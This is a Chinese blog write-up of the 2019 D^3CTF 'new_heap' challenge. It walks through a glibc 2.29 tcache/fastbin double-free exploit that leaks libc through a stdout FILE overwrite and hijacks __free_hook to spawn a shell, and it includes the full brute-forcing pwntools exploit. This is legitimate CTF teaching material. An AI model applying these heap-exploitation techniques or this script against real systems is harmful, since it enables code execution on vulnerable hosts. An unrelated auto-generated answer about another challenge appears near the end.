2019 D^3CTF new_heap详细题解

161 篇文章 24 订阅
161 篇文章 9 订阅

new_heap(高质量题)

这题是2019 d3ctf赛的一题,当时没做出来,后来看了大佬的exp脚本,慢慢研究,终于明白了原理,现在,我们就来详细的解析一下这题

首先,我们还是检查一下程序的保护机制,保护全开

再看一下给我们的libc.so.6的版本,可见是glibc2.29,那么对于堆的管理,就存在tcache机制

程序只有简单的3个功能,没有show,也没有edit,这让我们手无足措

然后,我们用IDA分析一下

程序一开始申请了一个0x1000的堆,然后告诉我们了堆地址的低2字节数据

然后释放了这个堆

接下来,我们在程序中申请堆时,是从0x1000的堆位置开始申请的,因此,我们知道了堆的低2字节

最多创建18个堆,并且每个堆的大小最多申请0x78(实际大小0x80

程序唯一的漏洞在这,free后没有把指针清零,可以造成double free

退出功能,看似没什么奇怪之处

分析到这,我们似乎也找不到一点头绪,果真是高质量题目

首先,我们总结一下

  1. 我们创建不了大的堆,因为做了限制
  2. 没有show功能,看似也泄露不了什么
  3. tcache bin是将空闲块的数据域互相链接组成链表,而fast bin是将空闲块的头部链接起来,tcache bin缺少充分检查,很容易利用,只要修改它的fd,即可申请到某处

     4、只有UAF漏洞可以利用

即使不需要泄露,我们也需要unsorted bin,因为unsorted bin的fd和bk处有libc中的指针,但是本题大小做了限制,大小范围都落在fastbin的大小里。并且,没有溢出漏洞,不能溢出来修改size。但是,unsorted bin是可以通过整理合并fastbin,来生成的。在ptmalloc中,有一个malloc_consolidate函数,用于将fastbin整理合并到unsorted bin里。malloc_consolidate的条件如下之一

  1. malloc large bin
  2. top chunk不够空间
  3. 在free函数在各种合并前后chunk之后的size大于FASTBIN_CONSOLIDATION_THRESHOLD 也就是65536

本题,如何来触发malloc_consolidate呢,关键就在于退出功能,看似好像没什么用,但是getchar()是个关键的地方。

由于,本题的输入都是用的read

read函数内部其实是调用sysread,内部不带缓冲区,从打开的设备或文件中读取数据。因此,在未调用功能3之前,_IO_2_1_stdin_结构体的缓冲区未初始化。

而getchar()、scanf这些,都是带有缓冲区的,它们依靠_IO_2_1_stdin_结构体,而_IO_2_1_stdin_结构体就是FILE结构体,当我们第一次调用带有缓冲区的输入函数时,函数会判断fp->_IO_buf_base输入缓冲区是否为空,如果为空则调用的_IO_doallocbuf去初始化输入缓冲区。

我们先运行程序,然后用pwndbg attach到pid上

在没有执行getchar()时,我们看到的_IO_2_1_stdin_结构体内容如下

然后,我们执行一下getchar()看看

发现,getchar()初始化了缓冲区,并且大小为0x400,这个大小属于large bin范围

因此,功能3可以触发一次malloc_consolidate

能触发malloc_consolidate,那么,我们就能将fastbin变成unsorted bin来利用

本题最多总能创建18个堆,因此,我们每一次创建都要慎重考虑,尽可能不浪费。

  1. sh.recvuntil('0x')  
  2. #chunk0的地址低2字节  
  3. low_2_byte = int(sh.recv(2),16)  
  4.   
  5. #chunk0~chunk45chunk用于放入tcache bin  
  6. for i in range(0,5):  
  7.    create(sh,0x50,'f'*0x50)  
  8. #我们需要overlap chunk6,因此,我们需要在chunk6中伪造一个chunk  
  9. #prev_size = 0,size = 0x61,fd = bk = 0,刚好overlapchunk6结尾  
  10. payload = 'a'*(0x50-0x20) + p64(0) + p64(0x61) + p64(0)*2  
  11. create(sh,0x50,payload) #chunk5  
  12. create(sh,0x38,'b'*0x38) #chunk6  
  13. create(sh,0x50,'c'*0x50) #chunk7 不能靠近top块,因此我们用chunk8挡住  
  14. create(sh,0x50,'d'*0x50) #chunk8  

我们在chunk5伪造chunk,把chunk6给包含进去(overlap),然后把chunk5里面那个伪造的chunk想办法链到fastbin里面,触发malloc_consolidate,让那个假chunk链接到unsorted bin,然后申请合适大小的堆,使得libc中的指针传递到chunk6的fd处

 

  1. #chunk0~chunk5放入tcache bin,使得0x60tcache bin6个节点  
  2. for i in range(0,6):  
  3.    delete(sh,i)  
  4. #chunk6放入0x40tcache bin  
  5. delete(sh,6)  
  6. #chunk8 放入0x60tcache bin  
  7. delete(sh,8)  
  8. #chunk7放入0x60fastbin  
  9. delete(sh,7)  
  10. #tcache取出头chunk  
  11. create(sh,0x50,'\n')  #9  
  12. #chunk7 放入tcache bin  
  13. delete(sh,7)  

我们先把0~5放入0x60的tcache bin,把chunk6放入0x40的tcache bin,把8放入0x60的tcache bin,接下来delete(7)时,由于0x60的tcache bin已经达到了7个,所以chunk7放在fastbin,由于fastbin不检查非top的节点double free,于是,我们从tcache里取出一个,再次delete(7),那么chunk7成为0x60tcache bin的头结点。chunk8存在的作用就是使得chunk7不是top,然后我们看看bins的布局

  1. #由于chunk7同时存在于tcache binfastbin,又由于tcache bin各指针指向的是chunk的数据区,所以,我们这次create时,顺便低位覆盖,便可以  
  2. #改变chunk7fd指针,我们要让chunk7fd指针指向我们在chunk5末尾伪造的那个chunk,由于chunk6overlap,然后,我们就可以想办法触发malloc_consolidate,生成  
  3. #unsorted bin,再通过申请,把libc中的关键指针传递到chunk6fd  
  4. create(sh,0x50,p16(((low_2_byte + 2) << 8) + 0x70)) #10也就是chunk7的空间  

经过这个create操作后,fastbin里的指针发生了变化

0x60的fastbin里链入了我们伪造的chunk

接下来,我们触发malloc_consolidate

  1. #整理fastbin,使得fastbin变成unsorted bin  
  2. mallocConsolidate(sh)  

再看看bins的布局

我们伪造的chunk里面fd已经有了libc中的指针,接下来,我们通过申请合适大小的chunk,就能把libc中指针传递到chunk6的fd,使得0x40的tcache bin链上libc中的指针。

  1. #create后,libc中的指针传到了chunk6fd  
  2. #我们随便先把/bin/sh字符串保存到这里,最后free_hook时使用  
  3. create(sh,0x10,'/bin/sh'#11  

现在,再看看bins

因为,我们malloc(0x10),所以,会unsorted bin里切割0x20,所以unsorted bin头变成了

0x555555757490,然后libc中的指针会被传到下一个chunk,也就是0x555555757490 + 0x10 = 0x5555557574a0

 

接下来,我们据需申请大小不在tcache bin里的chunk,来低位覆盖chunk6fd,使得chunk6的fd有可能指向_IO_2_1_stdout_结构体

 

  1. #2字节覆盖,使得chunk6fd1/16的可能指向_IO_2_1_stdout_结构体-0x10  
  2. create(sh,0x10,p16((_IO_2_1_stdout_s - 0x10) & 0xFFFF)) #12  

我们为什么要劫持_IO_2_1_stdout_结构体呢?因为程序在创建堆后有一个puts调用

我们来看看puts的源代码

  1. int  
  2. _IO_puts (const char *str)  
  3. {  
  4.   int result = EOF;  
  5.   _IO_size_t len = strlen (str);  
  6.   _IO_acquire_lock (_IO_stdout);  
  7.   if ((_IO_vtable_offset (_IO_stdout) != 0  
  8.        || _IO_fwide (_IO_stdout, -1) == -1)  
  9.       && _IO_sputn (_IO_stdout, str, len) == len  
  10.       && _IO_putc_unlocked ('\n', _IO_stdout) != EOF)  
  11.     result = MIN (INT_MAX, len + 1);  
  12.   _IO_release_lock (_IO_stdout);  
  13.   return result;  
  14. }  

_IO_puts,其内部调用_IO_sputn,接着执行_IO_new_file_xsputn,最终会执行_IO_overflow

  1. int  
  2. _IO_new_file_overflow (_IO_FILE *f, int ch)  
  3. {  
  4.   if (f->_flags & _IO_NO_WRITES) /* SET ERROR */  
  5.     {  
  6.       f->_flags |= _IO_ERR_SEEN;  
  7.       __set_errno (EBADF);  
  8.       return EOF;  
  9.     }  
  10.   /* If currently reading or no buffer allocated. */  
  11.   if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)  
  12.     ......  
  13.     ......  
  14.     }  
  15.   if (ch == EOF)  
  16.     //我们需要控制_IO_write_base  
  17.     return _IO_do_write (f, f->_IO_write_base,  
  18.              f->_IO_write_ptr - f->_IO_write_base);  
  19.   if (f->_IO_write_ptr == f->_IO_buf_end//当两个地址相等就不会输出缓冲区里数据。  
  20.     if (_IO_do_flush (f) == EOF)  
  21.       return EOF;  
  22.   *f->_IO_write_ptr++ = ch;  
  23.   if ((f->_flags & _IO_UNBUFFERED)  
  24.       || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))  
  25.     if (_IO_do_write (f, f->_IO_write_base,  
  26.               f->_IO_write_ptr - f->_IO_write_base) == EOF)  
  27.       return EOF;  
  28.   return (unsigned char) ch;  
  29. }  

通过上面源码分析,当IO_write_ptr与_IO_buf_end不想等的时候就会打印它们之间的字符,而这之间,可以泄露出一些信息,然后我们就能计算出libc基地址,因此,我们想办法劫持_IO_2_1_stdout_结构体,将_IO_write_base的低字节覆盖,然后我们调用puts(“done”)时,就能泄露出信息

当然,由于PIE,我们有1/16(倒数第416进制数可能不一样)的几率通过低覆盖chunk6的fd,使得fd指向了_IO_2_1_stdout_结构体,我们接下来的操作,都是假设fd正确的指向了_IO_2_1_stdout_结构体

当前,覆盖fd,没有指向_IO_2_1_stdout_结构体,当我们假设指向了_IO_2_1_stdout_结构体,那么malloc(0x38)两次就能申请到_IO_2_1_stdout_结构体-0x10处

  1. create(sh,0x38,'\n'#13  
  2. #假设chunk6fd已经指向了_IO_2_1_stdout_,我们低位覆盖write_base指针  
  3. payload = '\x00' * 0x10 + p64(0xfbad1800) + p64(0) * 3 + p8(0)  
  4. create(sh,0x38,payload) #14  
  5. response = sh.recvuntil('done')  
  6. #没有成功覆盖,说明我们没有命中_IO_2_1_stdout_结构体,抛出异常,重试  
  7. if len(response) < 8:  
  8.    raise Exception('retry')  
  9. #print response  
  10. #低位覆盖后,对应地址处的数据向后偏移8,正好是_IO_stdfile_2_lock的地址  
  11. _IO_stdfile_2_lock_addr = u64(response[8:16])  
  12. #计算出libc的地址  
  13. libc_base = _IO_stdfile_2_lock_addr - _IO_stdfile_2_lock  
  14. system_addr = libc_base + system_s  
  15. free_hook_addr = libc_base + free_s_hook  
  16. print 'libc_base=',hex(libc_base)  
  17. print 'system_addr=',hex(system_addr)  
  18. print 'free_hook_addr=',hex(free_hook_addr)  

如上,我们p8(0)write_base的低1字节覆盖为了0,经过IDA调试,发现低位覆盖后,对应地址处的数据向后偏移8,正好是_IO_stdfile_2_lock的地址,那么我们就能计算出libc的地址,以及其他一些需要用的函数的地址

接下来,bins变成这样了

现在,我们只剩下3个chunk可以申请,因此再申请就超过了18个了,然而,我们还需要攻击free_hook,当前unsorted bin的头为0x563a0b8d84b0,我们还是想用同样的方法,来修改tcache bin里头结点的fd,但是0x60 tcache bin头结点是0x563a0b8d8440,比unsorted bin的头结点地址低,覆盖不到。但是,还记得chunk6后面的那个chunk7吗,它的地址正好只比当前unsorted bin的头节点地址高一点,但是chunk7当前不在tcache中,因为之前被申请出去了,那么我们再重新把chunk7放回来

  1. #chunk8重新回到tcache中,作为头0x80 tcache bin的头  
  2. delete(sh,10)  

然后,我们再看看bins(注意,我们每次调试都重新运行了重新,所以地址会有所变化,但是他们相对地址是不变的)

现在,我们可以申请合适大小的chunk,来修改0x60 tcache bin头结点的fd指针,让它指向free_hook

  1. #接下来,我们再申请,又从unsorted bin里切割一块,但是切得的这一块与chunk7有重合的部分,因此我们可以修改chunk7fd,让它指向free_hook  
  2. payload = '\x00' * 0x20 + p64(free_hook_addr)  
  3. create(sh,0x30,payload) #15  

我们再看看bins

那么,我们接下来继续申请,正好把free_hook指向system,然后18个堆正好用完

  1. create(sh,0x50,'e'*0x50) #16  
  2. #free_hook指向system  
  3. create(sh,0x50,p64(system_addr)) #17  
  4. #getshell  
  5. delete(sh,11)  

由于只有1/16的几率,我们还需要爆破,综上,我们的exp脚本

  1. #coding:utf8  
  2. from pwn import *  
  3.   
  4. libc = ELF('./libc.so.6')  
  5. free_s_hook = libc.symbols['__free_hook']  
  6. _IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']  
  7. _IO_stdfile_2_lock = libc.symbols['_IO_stdfile_2_lock']  
  8. system_s = libc.sym['system']  
  9.   
  10. def create(sh,size,content):  
  11.    sh.sendlineafter('3.exit','1')  
  12.    sh.sendlineafter('size:',str(size))  
  13.    sh.sendafter('content:',content)  
  14.   
  15. def delete(sh,index):  
  16.    sh.sendlineafter('3.exit','2')  
  17.    sh.sendlineafter('index:',str(index))  
  18.   
  19. #getchar()会申请large bin触发malloc consolidate  
  20. def mallocConsolidate(sh):  
  21.    sh.sendlineafter('3.exit\n','3')  
  22.    sh.sendafter('sure?\n','n')  
  23.   
  24. #爆破,成功率1/16  
  25. def crack(sh):  
  26.    sh.recvuntil('0x')  
  27.    #chunk0的地址低2字节  
  28.    low_2_byte = int(sh.recv(2),16)  
  29.   
  30.    #chunk0~chunk45chunk用于放入tcache bin  
  31.    for i in range(0,5):  
  32.       create(sh,0x50,'f'*0x50)  
  33.    #我们需要overlap chunk6,因此,我们需要在chunk6中伪造一个chunk  
  34.    #prev_size = 0,size = 0x61,fd = bk = 0,刚好overlapchunk6结尾  
  35.    payload = 'a'*(0x50-0x20) + p64(0) + p64(0x61) + p64(0)*2  
  36.    create(sh,0x50,payload) #chunk5  
  37.    create(sh,0x38,'b'*0x38) #chunk6  
  38.    create(sh,0x50,'c'*0x50) #chunk7 不能靠近top块,因此我们用chunk8挡住  
  39.    create(sh,0x50,'d'*0x50) #chunk8  
  40.   
  41.    #chunk0~chunk5放入tcache bin,使得0x60tcache bin6个节点  
  42.    for i in range(0,6):  
  43.       delete(sh,i)  
  44.    #chunk6放入0x40tcache bin  
  45.    delete(sh,6)  
  46.    #chunk8 放入0x60tcache bin  
  47.    delete(sh,8)  
  48.    #chunk7放入0x60fastbin  
  49.    delete(sh,7)  
  50.    #tcache取出头chunk  
  51.    create(sh,0x50,'\n')  #9  
  52.    #chunk7 放入tcache bin  
  53.    delete(sh,7)  
  54.    #由于chunk7同时存在于tcache binfastbin,又由于tcache bin各指针指向的是chunk的数据区,所以,我们这次create时,顺便低位覆盖,便可以  
  55.    #改变chunk7fd指针,我们要让chunk7fd指针指向我们在chunk5末尾伪造的那个chunk,由于chunk6overlap,然后,我们就可以想办法触发malloc_consolidate,生成  
  56.    #unsorted bin,再通过申请,把libc中的关键指针传递到chunk6fd  
  57.    create(sh,0x50,p16(((low_2_byte + 2) << 8) + 0x70)) #10也就是chunk7的空间  
  58.    #整理fastbin,使得fastbin变成unsorted bin  
  59.    mallocConsolidate(sh)  
  60.    #create后,libc中的指针传到了chunk6fd  
  61.    #我们随便先把/bin/sh字符串保存到这里,最后free_hook时使用  
  62.    create(sh,0x10,'/bin/sh') #11  
  63.    #2字节覆盖,使得chunk6fd1/16的可能指向_IO_2_1_stdout_结构体-0x10  
  64.    create(sh,0x10,p16((_IO_2_1_stdout_s - 0x10) & 0xFFFF)) #12  
  65.    create(sh,0x38,'\n') #13  
  66.    #假设chunk6fd已经指向了_IO_2_1_stdout_,我们低位覆盖write_base指针  
  67.    payload = '\x00' * 0x10 + p64(0xfbad1800) + p64(0) * 3 + p8(0)  
  68.    create(sh,0x38,payload) #14  
  69.    response = sh.recvuntil('done')  
  70.    #没有成功覆盖,说明我们没有命中_IO_2_1_stdout_结构体,抛出异常,重试  
  71.    if len(response) < 8:  
  72.       raise Exception('retry')  
  73.    #print response  
  74.    #低位覆盖后,对应地址处的数据向后偏移8,正好是_IO_stdfile_2_lock的地址  
  75.    _IO_stdfile_2_lock_addr = u64(response[8:16])  
  76.    #计算出libc的地址  
  77.    libc_base = _IO_stdfile_2_lock_addr - _IO_stdfile_2_lock  
  78.    system_addr = libc_base + system_s  
  79.    free_hook_addr = libc_base + free_s_hook  
  80.    print 'libc_base=',hex(libc_base)  
  81.    print 'system_addr=',hex(system_addr)  
  82.    print 'free_hook_addr=',hex(free_hook_addr)  
  83.    #chunk8重新回到tcache中,作为头0x80 tcache bin的头  
  84.    delete(sh,10)  
  85.    #接下来,我们再申请,又从unsorted bin里切割一块,但是切得的这一块与chunk7有重合的部分,因此我们可以修改chunk7fd,让它指向free_hook  
  86.    payload = '\x00' * 0x20 + p64(free_hook_addr)  
  87.    create(sh,0x30,payload) #15  
  88.    create(sh,0x50,'e'*0x50) #16  
  89.    #free_hook指向system  
  90.    create(sh,0x50,p64(system_addr)) #17  
  91.    #getshell  
  92.    delete(sh,11)  
  93.    sh.interactive()  
  94.   
  95.   
  96. while True:  
  97.    try:  
  98.       sh = process('./new_heap',env={"LD_PRELOAD":"./libc.so.6"})  
  99.       crack(sh)  
  100.    except:  
  101.       sh.close()  
  102.       print 'retrying...' 

 

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答: \[1\]根据引用\[1\]中的描述,当将Smarty嵌入到CI框架中时,可能使用的是一个兼容低版本Smarty的引擎,而不是最新的Smarty引擎。这可能是因为参考的文章比较旧,导致整合时选择了兼容低版本的引擎。 \[2\]引用\[2\]中提到,CI框架的类是按需加载的,而不是自动加载的。这导致在全局搜索__destruct方法时可能会出现很多结果,但实际上无法使用。这可能是导致pop链不好找的一个重要原因。 \[3\]引用\[3\]中提到,在phpinfo中发现了一个flag,这表明还有另一种方法可以获取flag,即通过get_the_flag方法。然而,get_the_flag方法有两个过滤条件,一个是不允许出现"<?",另一个是对文件头字节进行过滤。作者提到可以传递一个文本文件,内容进行base64编码,并加上图片头字节,然后再传递一个.htaccess文件进行解码。 综上所述,\[D3CTF 2019\]EasyWeb可能涉及到使用兼容低版本的Smarty引擎、按需加载的类导致pop链难以找到,以及通过绕过过滤条件来获取flag的方法。 #### 引用[.reference_title] - *1* *2* [d3ctf easyweb题解](https://blog.csdn.net/weixin_42474164/article/details/116281650)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [[SUCTF 2019]EasyWeb](https://blog.csdn.net/shinygod/article/details/124045024)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值